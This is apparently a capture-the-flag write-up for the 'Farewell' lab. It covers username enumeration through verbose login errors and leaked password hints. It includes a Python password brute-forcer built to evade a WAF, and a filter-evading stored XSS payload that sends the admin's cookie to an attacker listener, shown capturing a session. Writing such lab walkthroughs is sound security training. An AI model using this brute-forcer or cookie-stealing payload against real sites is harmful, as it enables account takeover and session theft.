# Farewell - THM
### Index page

### /admin.php

### /javascript/

### `http://10.201.6.115/check.js`
```js
const loginForm = document.getElementById('loginForm');
const alertBox = document.getElementById('alert');
const hintBox = document.getElementById('hint');
const loginBtn = document.getElementById('loginBtn');
function showAlert(msg) {
hintBox.style.display = 'none';
alertBox.style.display = 'block';
alertBox.textContent = msg;
}
function showHint(hint) {
alertBox.style.display = 'none';
hintBox.style.display = 'block';
hintBox.innerHTML = '<strong>Server hint:</strong> ' + (hint ? hint : 'No hint provided');
}
loginForm.addEventListener('submit', async () => {
alertBox.style.display = 'none';
hintBox.style.display = 'none';
loginBtn.disabled = true;
loginBtn.textContent = 'Signing in…';
const form = new URLSearchParams();
form.append('username', document.getElementById('username').value.trim());
form.append('password', document.getElementById('password').value);
try {
const res = await fetch('/auth.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: form.toString(),
credentials: 'same-origin'
});
// Server always returns JSON (HTTP 200) for both success and failure
const data = await res.json();
if (data && data.success) {
window.location = data.redirect || '/dashboard.php';
return;
}
if (data && data.error === 'auth_failed') {
if (data.user && data.user.password_hint) {
showHint("Invalid password against the user");
} else {
showAlert('Invalid username or password.');
}
} else {
showAlert('Unexpected response from server.');
console.warn('Server response:', data);
}
} catch (e) {
showAlert('Network error. Try again.');
console.error(e);
} finally {
loginBtn.disabled = false;
loginBtn.textContent = 'Sign in';
}
});
```
---
# Directory Bruteforce (Dirsearch)
```
~/Desktop/Farewell
➜ dirsearch -u http://10.201.6.115/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/fronto/Desktop/Farewell/reports/http_10.201.6.115/__25-11-15_06-46-35.txt
```
Interesting endpoints found:
- `/admin.php` – **200**
- `/dashboard.php` – **302 redirect to /**
- `/javascript/` – **200**
- `/info.php` – **200**
- `/status.php` – **200**
- `/auth.php` – accepts POST only (**405**)
---
# Findings
The application returns **verbose error messages** when incorrect credentials are submitted.
### Valid vs Invalid Users
Trying username **adam** (exists):

Trying a **non-existent user**:

The application leaks the existence of users by returning:
- “Invalid password against the user” for valid usernames
- “Invalid username or password” for invalid ones
We now know that **deliver11**, **adam**, and **nora** are valid users.
---
# JSON Verbose Leakage
Each failed login returns **JSON** containing:
- Last password change date
- A plaintext password hint
- Username
This is extremely sensitive information.
### Nora
```
{"error":"auth_failed","user":{"name":"nora","last_password_change":"2025-08-01 13:45:00","password_hint":"lucky number 789"}}
```

### Admin
```
{"error":"auth_failed","user":{"name":"admin","last_password_change":"2025-10-31 19:03:00","password_hint":"the year plus a kind send-off"}}
```

### Adam
```
{"error":"auth_failed","user":{"name":"adam","last_password_change":"2025-10-21 09:12:00","password_hint":"favorite pet + 2"}}
```

### deliver11
```
{"error":"auth_failed","user":{"name":"deliver11","last_password_change":"2025-09-10 11:00:00","password_hint":"Capital of Japan followed by 4 digits"}}
```

Since the WAF blocks rapid attempts, traditional brute-force tools like Hydra or Burp Intruder are ineffective.
---
# Brute Forcing for deliver11
The hint:
**“Capital of Japan followed by 4 digits” → Tokyo####**
Due to rate-limiting and WAF behaviour, we use a custom script that:
- Randomizes password order (O(k) search: runtime depends on position k)
- Adds random URL parameters to evade caching
- Inserts random noise fields into POST body
- Randomizes header order and User-Agent strings
- Detects WAF 403 blocks and exits gracefully
### Python script used
``` bash
#!/usr/bin/env python3
import json
import random
import string
import time
import requests
TARGET_URL = "http://farewell.thm/auth.php"
USERNAME = "deliver11"
COOKIES = {
"PHPSESSID": "sfgjj3pods3o8o097q9ib8tjki"
}
USER_AGENTS = [
"Mozilla/5.0 ({token}) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0 Safari/537.36",
"Mozilla/5.0 ({token}) Gecko/20100101 Firefox/125.0",
"Mozilla/5.0 ({token}) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
]
# ---------- Helpers ----------
def rand_token(length: int = 6, alphabet: str = string.ascii_letters) -> str:
return "".join(random.choice(alphabet) for _ in range(length))
def build_tokyo_passwords(start: int = 0, end: int = 9999) -> list[str]:
"""
Build and shuffle passwords of the form Tokyo#### from the hint:
"Capital of Japan followed by 4 digits".
"""
candidates = [f"Tokyo{n:04d}" for n in range(start, end + 1)]
random.shuffle(candidates)
return candidates
def build_target_url() -> str:
"""
Add random query params to break caching / simple signature rules.
Example: /auth.php?v=8342&r=AbCx
"""
v = random.randint(1000, 9999)
r = rand_token(4)
return f"{TARGET_URL}?v={v}&r={r}"
def build_body(password: str) -> dict:
"""
POST body with random noise fields: payload never identical twice.
"""
return {
"username": USERNAME,
"password": password,
"z": rand_token(4), # noise
"pad": rand_token(3), # extra noise
}
def build_headers() -> dict:
"""
Randomize User-Agent + Referer and shuffle header order.
"""
ua = random.choice(USER_AGENTS).format(token=rand_token(8))
referer_noise = rand_token(4)
header_pairs = [
("User-Agent", ua),
("Accept", "*/*"),
("Referer", f"http://farewell.thm/?t={referer_noise}"),
("Content-Type", "application/x-www-form-urlencoded"),
("Origin", "http://farewell.thm"),
("Connection", "keep-alive"),
]
random.shuffle(header_pairs) # random order on the wire
return {k: v for k, v in header_pairs}
def looks_like_success(resp: requests.Response) -> bool:
"""
Known failure JSON:
{"error":"auth_failed","user":{...}}
Treat anything else as potential success.
"""
try:
data = resp.json()
if not isinstance(data, dict):
return False
err = data.get("error")
if err is None:
return True
if err != "auth_failed":
return True
return False
except (ValueError, json.JSONDecodeError):
return "auth_failed" not in resp.text
# ---------- Main brute logic ----------
def spray_tokyo(
start: int = 0,
end: int = 9999,
base_delay: float = 1.0,
max_consecutive_403: int = 3,
) -> None:
session = requests.Session()
passwords = build_tokyo_passwords(start, end)
print(f"[*] Target: {TARGET_URL}")
print(f"[*] User: {USERNAME}")
print(f"[*] Pattern: Tokyo#### ({len(passwords)} candidates, shuffled)\n")
consecutive_403 = 0
for idx, password in enumerate(passwords, start=1):
url = build_target_url()
data = build_body(password)
headers = build_headers()
try:
resp = session.post(
url,
headers=headers,
data=data,
cookies=COOKIES,
timeout=10,
)
except requests.RequestException as e:
print(f"\n[!] Network error on attempt {idx} ({password!r}): {e}")
time.sleep(base_delay + random.uniform(0.3, 0.7))
continue
status = resp.status_code
if status == 403:
consecutive_403 += 1
print(
f"\n[!] HTTP 403 (WAF / rate limit). "
f"Consecutive: {consecutive_403}/{max_consecutive_403}"
)
if consecutive_403 >= max_consecutive_403:
print("[!] WAF block appears active. Stopping to avoid lockout.")
return
time.sleep(base_delay * 2)
continue
else:
consecutive_403 = 0
# Minimal progress output (comment out if too noisy)
print(f"[*] Attempt {idx:5d} :: {password}")
if looks_like_success(resp):
print(f"\n[+] SUCCESS! {USERNAME}:{password}")
return
# Jittered delay so we don't look like a perfect metronome
time.sleep(base_delay + random.uniform(0.4, 1.2))
print("\n[-] Finished range; no valid Tokyo#### password discovered.")
if __name__ == "__main__":
# You can narrow the range if you want (e.g. only 0900–0999):
# spray_tokyo(start=900, end=999)
spray_tokyo()
```
Eventually this script discovers the correct password:
Logging in as a normal user reveals the answer to:
**“What is the flag value after logging in as a normal user?”**

---
# Admin Takeover via Stored XSS
Submitting a test message shows:
- Status: **Pending**
- Then **Approved**
This confirms the message is rendered in an **admin-only moderation interface**.
Therefore, **stored XSS** can execute inside the admin’s session.
We tested several payloads until finding one that:
- Fits under the 100-character limit
- Avoids WAF signatures
- Executes in the admin’s browser
- Exfiltrates `document.cookie`
### Final working payload
```
<body onload="d=document;i=new Image();i.src='//10.4.122.220:1337/?c='+d['cookie']">
```
This avoids WAF detection by:
- Using `d['cookie']` instead of `document.cookie`
- Using protocol-relative URL `//10.x.x.x`
- Avoiding the signature `new Image().src` by splitting into two statements
When the admin opens the pending message, the browser sends their cookie to our listener.
### Listener output
```
sudo python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 ...
10.201.75.180 - - "GET /?c=PHPSESSID=cp73kctk9i5jure75jgho7b9l1 HTTP/1.1" 200 -
```

We import that cookie into our browser session and revisit `/admin.php`.
This answers the final question:
### “What is the flag value after logging in as admin?”

---